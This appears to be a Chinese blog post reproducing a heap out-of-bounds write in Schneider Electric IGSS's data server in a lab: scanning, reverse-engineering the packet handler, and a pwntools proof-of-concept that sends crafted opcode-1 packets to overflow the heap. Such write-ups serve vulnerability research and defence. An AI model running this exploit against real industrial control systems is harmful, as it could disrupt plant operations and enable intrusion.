0x1.GWDB-2022-0012-施耐德电气IGSS堆越界写漏洞

1 打开提供的环境

Pasted image 20260223112315.png
Pasted image 20260223112315.png

2 启动IGSS

Pasted image 20260223112528.png
Pasted image 20260223112528.png

2 nmap扫描确认从外部能访问服务

Pasted image 20260224123648.png
Pasted image 20260224123648.png

使用-Pn-p-进行全端口不用ping的扫描

3 在虚拟机内确认当前服务的pid

Pasted image 20260224124153.png
Pasted image 20260224124153.png

4 运行漏洞利用脚本并检查服务

python ./igss_dataserver_heap_overwrite.py -t 192.168.122.195 -p 12401 -v

Pasted image 20260224124719.png
Pasted image 20260224124719.png

Pasted image 20260224124703.png
Pasted image 20260224124703.png

5 漏洞分析

https://www.tenable.com/security/research/tra-2022-22
根据漏洞报告找到漏洞点

Pasted image 20260301112839.png
Pasted image 20260301112839.png

捋顺程序流

先来找一下程序的主函数
这个程序要从网络上收发消息,肯定会创建线程

Pasted image 20260302093154.png
Pasted image 20260302093154.png

通过_beginthreadex的引用,找到函数
Pasted image 20260302093239.png
Pasted image 20260302093239.png

逐一查看发现最像服务启动的函数
Pasted image 20260302093304.png
Pasted image 20260302093304.png

追踪sub_4b2140
Pasted image 20260302093525.png
Pasted image 20260302093525.png

发现这是一个循环监听socket的函数,当有连接时会进入sub_4b2750
Pasted image 20260302093908.png
Pasted image 20260302093908.png

ai是这么说的
Pasted image 20260302094015.png
Pasted image 20260302094015.png

Pasted image 20260302094035.png
Pasted image 20260302094035.png

sub_4b43f0如下
Pasted image 20260302094110.png
Pasted image 20260302094110.png

进入sub_4b4460查看
Pasted image 20260302094138.png
Pasted image 20260302094138.png

最后return处调用了sub_4b4740,进入查看
Pasted image 20260302094244.png
Pasted image 20260302094244.png

其中调用sub_4b3090
Pasted image 20260302094340.png
Pasted image 20260302094340.png

进入发现接收消息的函数,也是存在漏洞的关键函数
接下来逆向数据结构

还原消息结构

Pasted image 20260303002857.png
Pasted image 20260303002857.png

Pasted image 20260303003050.png
Pasted image 20260303003050.png

向前溯源,找到数据结构的最大大小0x2080
Pasted image 20260303143924.png
Pasted image 20260303143924.png

结合ai分析出大概的数据结构
Pasted image 20260303150943.png
Pasted image 20260303150943.png

根据漏洞报告,可知此处opcode为1时存在堆溢出漏洞
Pasted image 20260303160320.png
Pasted image 20260303160320.png

当首次连接的opcode为1时,会将handle_ptr赋值,确定vtable。
Pasted image 20260303160427.png
Pasted image 20260303160427.png

Pasted image 20260303160438.png
Pasted image 20260303160438.png

在一次连接中,当第一次消息的第十四、十五、十六和十七个字节不为0时,则会继续接收消息
Pasted image 20260303161104.png
Pasted image 20260303161104.png

此处可查看一下opcode为1时,vtable+2所指向的函数的返回值
Pasted image 20260303161133.png
Pasted image 20260303161133.png

Pasted image 20260303161305.png
Pasted image 20260303161305.png

返回值为1,返回后下一次循环直接进入case 1
Pasted image 20260303161602.png
Pasted image 20260303161602.png

进入vtable + 3
Pasted image 20260304104617.png
Pasted image 20260304104617.png

结合ai分析出返回值大致含义
Pasted image 20260304104606.png
Pasted image 20260304104606.png

下一次进入case 4
Pasted image 20260304104934.png
Pasted image 20260304104934.png

分析后会发现,case 4毫无价值,会直接进入case 5,然后goto label_126然后进入case 6然后将handle删掉,重新等待消息,这与漏洞报告不符。
注意到此处
Pasted image 20260304140655.png
Pasted image 20260304140655.png

当Src+14处为0时,进入case 5,case5会使函数返回,但返回后会重新执行该函数,但此时handle存在值,且pad_04在case5时被置为0,所以下一次会执行vtable_1
Pasted image 20260304151757.png
Pasted image 20260304151757.png

逆向一下vtable_1的数据结构后得到
Pasted image 20260304220605.png
Pasted image 20260304220605.png

结合opcode=1时的初始化函数
Pasted image 20260304230739.png
Pasted image 20260304230739.png

发现在vtable_1中memcpy的起始地址是由第一次发包时包内的size参数决定的,而如果第一次发包中的size*12不等于包的长度,则会使第二次包的内容合并的位置在第一次包的内容的后面位置,而不是刚好接在后面,从而发生溢出
Pasted image 20260305002005.png
Pasted image 20260305002005.png

如图,第二个包中的B没有接在A的后面,而是空了一段距离。

编写payload测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
ip = "192.168.122.195"
port = 12401

context.log_level = "debug"

size_b = 0x60 //第二次发送的包所占空间大小,大小适中最好,容易申请到中等大小堆块
opcode = 1

for i in range(1, 65535): //第二次发送的包与第一次发送的包的内容之间的间隔
buffer_1 = b"A" * 0x10
data_1 = p16(i) + b"\x00" * 0x10 + buffer_1
data_1 = p16(1) + p16(0) + p32(opcode) + p32(0) + p32(0) + data_1
data_1 = p16(len(data_1)+2) + data_1

buffer_2 = b"B" * size_b
data_2 = p16(size_b) + b"\x00" * 0x10 + buffer_2
data_2 = p16(1) + p16(0) + p32(opcode) + p32(0) + p32(1) + data_2
data_2 = p16(len(data_2)+2) + data_2

try:
io = remote(ip, port)
io.send(data_1)
sleep(0.1)
io.send(data_2)
io.close()
except Exception as e:
print(e)
pass
本作品由 automata 于 2026-03-21 00:00:00 发布
作品地址:0x1.GWDB-2022-0012-施耐德电气IGSS堆越界写漏洞
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 凹凸麦塔
Logo
上一篇格式化字符串基础下一篇0x2.DIR-815 漏洞复现 新手入门